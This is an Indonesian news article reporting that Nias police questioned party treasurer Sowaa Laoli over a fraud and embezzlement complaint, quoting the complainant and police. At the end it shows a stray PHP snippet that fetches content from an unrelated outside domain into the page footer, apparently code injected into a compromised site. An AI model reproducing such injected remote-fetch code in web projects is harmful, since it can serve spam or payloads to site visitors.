Akhirnya, Sowaa Laoli Telah Diinterogasi oleh Penyidik Satreskrim Polres Nias

Rabu, 19 Oktober 2022

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jejakkasus.info l Gunungsitoli – Melalui pers rilis yang di sampaikan oleh Hadirat ST.Gea tentang laporannya. perihal dugan tindak pidana Penipuan dan Penggelapan, penyidik Polres Nias telah melakukan pemeriksaan saksi, memeriksa bendahara sekwan DPRD kota Gunungsitoli dan menginterogasi Sowaa Laoli.

“Sebagai tindak lanjut dari laporan saya tentang tindak pidana penggelapan dan Penipuan oleh penyidik di sat Reskrim polres Nias menurut informasi dari mereka bahwa terlapor atas nama Sowaa Laoli telah di mintai keterangan atau diperiksa pada hari Rabu 19 Oktober 2022”.

Baca Juga:  Wartawan Gelar Aksi Damai di Polres Nias, Mengenai Pemukulan Jurnalis

Saya apresiasi keberanian penyidik tentang pemeriksaan Sowaa Laoli sebagai terlapor dugaan tindak pidana Penggelapan dan Penipuan walaupun ini terkesan sangat lamban.

Saya meminta agar penyidik segera meningkatkan Laporan ini ketahap Penyidikan dan menetapkan Sowaa Laoli sebagai tersangka.karena sesuai dengan KU HAP pasal 184 bahwa alat bukti yg sah telah memenuhi unsur, yakni Keterangan saksi, Petunjuk, surat, Keterangan terdakwa (Terlapor) ucap Hadirat.

Baca Juga:  Organisasi PPM Yang Terlahir Dari Anak dan Cucu pejuang LVRI Kemerdekaan RI

Bahkan kalau dalam keterangannya terlapor tidak mengakui sebuah peristiwa dugaan pidana yang saya laporkan maka terlapor dapat dipidanakan membuat keterangan palsu, tambahnya Hadirat.

Mudah mudahan penyidik tidak memiliki keraguan untuk menerapkan tindakan-tindakan kepolisian sesuai dengan aturan perundangan- undangan bahkan untuk menjalankan PRESISI yang menjadi salah satu pedoman Polri dalam menjalankan tugasnya, tegasnya Gea.

Kita berharap Penyidik jangan menjadi tidak serius karena jabatan terlapor selain Bendahara DPC PDI Perjuangan di Kota Gunungsitoli,pintanya Hadirat.

Baca Juga:  Puluhan Peserta dari Berbagai Daerah Datang Menghadiri Muballigh Camp di Masjid Yuda Al-Fatih

Saat awak media mengkonfirmasi hal ini kepada penyidik melalui Paur Humas Polres Nias, pihaknya mengatakan.

‘Atas laporan pengaduan Hadirat ST. Gea perihal dugan tindak pidana Penipuan dan Penggelapan, Penyidik dari Sat Reskrim Polres Nias telah Melakukan interogasi terhadap yang diduga terlapor selaku bendahara Partai PDIP an. Sowaa laoli pada Hari Rabu tanggal 19 Oktober 2022 dan mengumpulkan data/dokumen Rencana Tindak lanjut :
1. Melakukan pemeriksaan secara konfrontasi
2. Melakukan gelar Perkara. (TZ)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Lagi-lagi Paslon diduga 02 Curang, Stikernya ditemukan di Kantor Desa Sukaraja.
Kolonel Visnu Hermawan S.E.,M.M Apresiasi Tim Terjun Payung CF Lampung
Budi Prayitno PJ Kampanye Riyanto dan Umilaila intimidasi wartawan Untuk Hapus Berita
Buset!! Kendaraan Coldiesel BE 8759 PL yang  Terbalik  Ternyata Memuat BBM Ilegal Jenis Pertalite Mencapai Ribuan Liter
Bawaslu Pesawaran Kebut Selesaikan Kasus Pelanggaran Camat tidak Netral
Regulasi Vs Kesejahteraan: Pertarungan Masyarakat Tembelok dalam Penambangan Timah
Camat Negerikaton Terjaring, Ketua Bawaslu Lampung Ingatkan Netralitas ASN di Pilkada 2024
DPRD Lampung Selatan, Menggelar Rapat Paripurna Menetapkan Usulan Pimpinan

Berita Terkait

Senin, 7 Oktober 2024 - 12:29 WIB

Lagi-lagi Paslon diduga 02 Curang, Stikernya ditemukan di Kantor Desa Sukaraja.

Senin, 7 Oktober 2024 - 12:06 WIB

Kolonel Visnu Hermawan S.E.,M.M Apresiasi Tim Terjun Payung CF Lampung

Senin, 7 Oktober 2024 - 11:58 WIB

Budi Prayitno PJ Kampanye Riyanto dan Umilaila intimidasi wartawan Untuk Hapus Berita

Senin, 7 Oktober 2024 - 00:03 WIB

Buset!! Kendaraan Coldiesel BE 8759 PL yang  Terbalik  Ternyata Memuat BBM Ilegal Jenis Pertalite Mencapai Ribuan Liter

Minggu, 6 Oktober 2024 - 22:49 WIB

Bawaslu Pesawaran Kebut Selesaikan Kasus Pelanggaran Camat tidak Netral

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>